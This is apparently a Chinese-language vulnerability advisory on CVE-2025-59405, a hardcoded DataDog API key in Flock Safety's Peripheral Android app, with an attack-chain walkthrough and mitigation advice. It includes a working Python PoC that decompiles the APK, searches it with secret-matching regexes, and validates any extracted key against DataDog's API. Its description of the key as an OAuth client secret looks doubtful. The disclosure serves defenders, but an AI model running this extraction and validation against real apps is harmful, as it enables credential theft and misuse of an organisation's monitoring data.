IPBUF安全漏洞报告
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CVE-2025-59405 CVSS 7.5 高危

CVE-2025-59405:Flock Safety外围Android应用硬编码DataDog API密钥泄露

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59405
漏洞类型
硬编码凭据/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flock Safety Peripheral Android应用 (com.flocksafety.android.peripheral),安装于Falcon和Sparrow车牌识别器及Bravo Edge AI计算设备

相关标签

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漏洞概述

CVE-2025-59405是Flock Safety公司Peripheral Android应用程序(包名com.flocksafety.android.peripheral,版本7.38.3)中存在的高危信息泄露漏洞。该应用被预装在Flock Safety的Falcon和Sparrow系列车牌识别器(License Plate Readers, LPR)以及Bravo Edge AI计算设备上。漏洞的核心问题在于应用程序的代码库中以明文(cleartext)形式硬编码了一个DataDog API密钥。DataDog是一款广泛使用的云监控和可观测性平台,该API密钥用于将设备的遥测数据、监控指标和日志上传至DataDog后端服务。由于Android应用程序的APK文件可以被轻易地反编译和静态分析,攻击者无需任何特殊权限即可从应用中提取该明文密钥。该密钥本质上属于OAuth客户端密钥,应当严格保密,绝不应嵌入到客户端软件中。成功利用此漏洞的攻击者可以滥用该DataDog API密钥,访问与该组织相关的监控数据、遥测信息,甚至可能利用该密钥进行进一步的攻击活动,如数据篡改、注入虚假监控数据或利用DataDog平台的其他关联权限。CVSS 3.1评分为7.5分,属于高危漏洞,攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对机密性产生高影响(C:H),完整性和可用性不受影响。

技术细节

该漏洞的技术原理在于Android应用程序的安全设计缺陷。现代Android应用以APK(Android Package Kit)格式分发,APK本质上是一个ZIP压缩包,其中包含了DEX(Dalvik Executable)格式的字节码文件、资源文件、清单文件等。虽然Google引入了ProGuard代码混淆和资源缩减等安全措施,但这些措施并不能有效保护硬编码的字符串常量(如API密钥)。攻击者可以通过以下技术手段提取密钥:

1. **APK反编译**:使用jadx、apktool、JEB等工具将APK文件反编译为可读的Java源代码或Smali汇编代码。
2. **字符串搜索**:在反编译后的代码中搜索常见的API密钥模式,如"DD_API_KEY"、"datadog"、"Authorization"、长十六进制字符串或Base64编码字符串。
3. **静态分析**:分析AndroidManifest.xml文件以了解应用的网络通信配置和权限声明,结合代码中的HTTP客户端配置(如OkHttp、Retrofit)定位API调用端点和认证头。
4. **动态分析(可选)**:使用Frida等动态插桩工具在运行时拦截网络流量,捕获实际的API请求头中的密钥值。

在Flock Safety Peripheral应用中,DataDog API密钥被直接硬编码在应用代码中,可能用于将设备的运行状态、错误日志、性能指标等数据上报至DataDog监控平台。一旦攻击者获取该密钥,便可以使用DataDog API(如https://api.datadoghq.com/api/v1/)查询与该组织账户关联的所有监控数据、日志事件、仪表盘配置等敏感信息。攻击者还可以利用该密钥的写入权限(如果存在)注入恶意监控数据或篡改现有数据,干扰正常的运维监控活动。

攻击链分析

STEP 1
步骤1:获取目标APK文件
攻击者通过多种途径获取Flock Safety Peripheral Android应用的APK文件,包括从Google Play商店下载、第三方应用市场、或者直接从目标设备中提取(如果可以物理接触到Falcon/Sparrow LPR设备或Bravo Edge AI计算设备)。
STEP 2
步骤2:反编译APK文件
使用jadx、apktool、JEB等反编译工具将APK文件转换为可读的Java源代码或Smali汇编代码。即使应用使用了ProGuard代码混淆,硬编码的字符串常量(如API密钥)仍然会以明文形式保留在代码中。
STEP 3
步骤3:静态分析提取API密钥
在反编译后的代码中进行字符串搜索,定位硬编码的DataDog API密钥。可以使用grep等工具搜索常见的API密钥模式,如'DD_API_KEY'、'datadog'、'Authorization'等关键字,以及32-40位的十六进制字符串。
STEP 4
步骤4:验证API密钥有效性
使用提取的DataDog API密钥调用DataDog API的验证端点(如/api/v1/validate),确认密钥是否有效以及其权限范围。
STEP 5
步骤5:滥用API密钥访问敏感数据
利用有效的DataDog API密钥访问与Flock Safety组织关联的所有监控数据、日志事件、仪表盘配置等敏感信息。如果密钥具有写入权限,还可以注入恶意监控数据或篡改现有数据。
STEP 6
步骤6:进一步利用或数据窃取
基于获取的监控数据和系统信息,攻击者可以进一步深入了解Flock Safety的内部基础设施,进行更有针对性的攻击,或者将窃取的数据用于其他恶意目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59405 PoC - Extracting Hardcoded DataDog API Key from Flock Safety Peripheral APK # This PoC demonstrates how to extract the cleartext DataDog API key from the APK import subprocess import re import sys import os APK_FILE = "com.flocksafety.android.peripheral_7.38.3.apk" OUTPUT_DIR = "decompiled_output" def decompile_apk(apk_path, output_dir): """Decompile APK using apktool and jadx""" # Step 1: Use apktool to extract resources and smali code print("[*] Decompiling APK with apktool...") subprocess.run(["apktool", "d", "-f", apk_path, "-o", f"{output_dir}/apktool"], check=True) # Step 2: Use jadx to decompile to Java source print("[*] Decompiling APK with jadx...") subprocess.run(["jadx", "-d", f"{output_dir}/jadx", apk_path], check=True) print(f"[+] Decompilation complete. Output: {output_dir}/") def search_api_key(search_dir): """Search for hardcoded DataDog API key in decompiled source""" print("[*] Searching for DataDog API key patterns...") # Common patterns for DataDog API keys patterns = [ r'DD_API_KEY\s*=\s*["\']([a-f0-9]{32,})["\']', r'datadog.*api[_-]?key\s*[=:]\s*["\']([^"\']+)["\']', r'Authorization.*Datadog\s+([a-zA-Z0-9]{32,})', r'"([a-f0-9]{40})"', # DataDog API keys are typically 32-40 char hex strings ] found_keys = [] for root, dirs, files in os.walk(search_dir): for file in files: if file.endswith((".java", ".smali", ".kt", ".xml", ".json", ".properties")): filepath = os.path.join(root, file) try: with open(filepath, 'r', errors='ignore') as f: content = f.read() for pattern in patterns: matches = re.findall(pattern, content, re.IGNORECASE) for match in matches: print(f"[+] Found potential API key in {filepath}: {match}") found_keys.append({"file": filepath, "key": match}) except Exception: pass return found_keys def validate_key_with_datadog(api_key): """Validate extracted API key against DataDog API""" import requests print(f"[*] Validating API key against DataDog API...") url = "https://api.datadoghq.com/api/v1/validate" headers = {"DD-API-KEY": api_key} try: resp = requests.get(url, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() if data.get("valid"): print(f"[+] VALID DataDog API Key confirmed!") print(f" Key: {api_key}") return True print(f"[-] Key validation failed: {resp.status_code}") except Exception as e: print(f"[-] Error validating key: {e}") return False if __name__ == "__main__": if not os.path.exists(APK_FILE): print(f"[!] APK file not found: {APK_FILE}") sys.exit(1) decompile_apk(APK_FILE, OUTPUT_DIR) keys = search_api_key(OUTPUT_DIR) if keys: print(f"\n[!] Extracted {len(keys)} potential API key(s)") for key_info in keys: validate_key_with_datadog(key_info["key"]) else: print("[-] No API keys found")

影响范围

com.flocksafety.android.peripheral 7.38.3(Android应用)
Flock Safety Falcon License Plate Reader(搭载受影响应用)
Flock Safety Sparrow License Plate Reader(搭载受影响应用)
Flock Safety Bravo Edge AI Compute Device(搭载受影响应用)

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)立即在DataDog平台撤销泄露的API密钥并重新生成;2)从DataDog端限制该API密钥的权限范围和访问IP;3)监控DataDog API的异常访问日志,及时发现潜在的密钥滥用行为;4)检查DataDog账户中是否有异常的数据访问或配置变更;5)对所有搭载该应用的Flock Safety设备进行安全审计,确保没有其他敏感凭据泄露;6)考虑在设备层面限制应用的网络通信,仅允许与必要的服务端点通信。

参考链接

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